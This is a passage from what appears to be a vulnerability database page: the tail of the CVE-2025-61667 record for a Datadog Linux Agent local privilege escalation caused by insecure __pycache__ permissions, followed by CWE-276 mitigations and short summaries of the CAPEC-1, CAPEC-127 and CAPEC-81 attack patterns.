              "version": "\u003e= 7.65.0 , \u003c 7.71.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Datadog Agent collects events and metrics from hosts and sends them to Datadog. A vulnerability within the Datadog Linux Host Agent versions 7.65.0 through 7.70.2 exists due to insufficient permissions being set on the `opt/datadog-agent/python-scripts/__pycache__` directory during installation. Code in this directory is only run by the Agent during Agent install/upgrades.  This could allow an attacker with local access to modify files in this directory, which would then subsequently be run when the Agent is upgraded, resulting in local privilege escalation. This issue requires local access to the host and a valid low privilege account to be vulnerable. Note that this vulnerability only impacts the Linux Host Agent. Other variations of the Agent including the container, kubernetes, windows host and other agents are not impacted. Version 7.71.0 contains a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276: Incorrect Default Permissions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-11-12T18:50:02.940Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/DataDog/datadog-agent/security/advisories/GHSA-6852-76c5-6cmg",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/DataDog/datadog-agent/security/advisories/GHSA-6852-76c5-6cmg"
        }
      ],
      "source": {
        "advisory": "GHSA-6852-76c5-6cmg",
        "discovery": "UNKNOWN"
      },
      "title": "Datadog Linux Host Agent affected by local privilege escalation due to insufficient pycache permissions"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-61667",
    "datePublished": "2025-11-12T18:50:02.940Z",
    "dateReserved": "2025-09-29T20:25:16.179Z",
    "dateUpdated": "2025-11-12T21:04:11.852Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}
Mitigation MIT-1
Architecture and Design Operation

The architecture needs to access and modification attributes for files to only those users who actually require those actions.

Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

← Back to the CWE list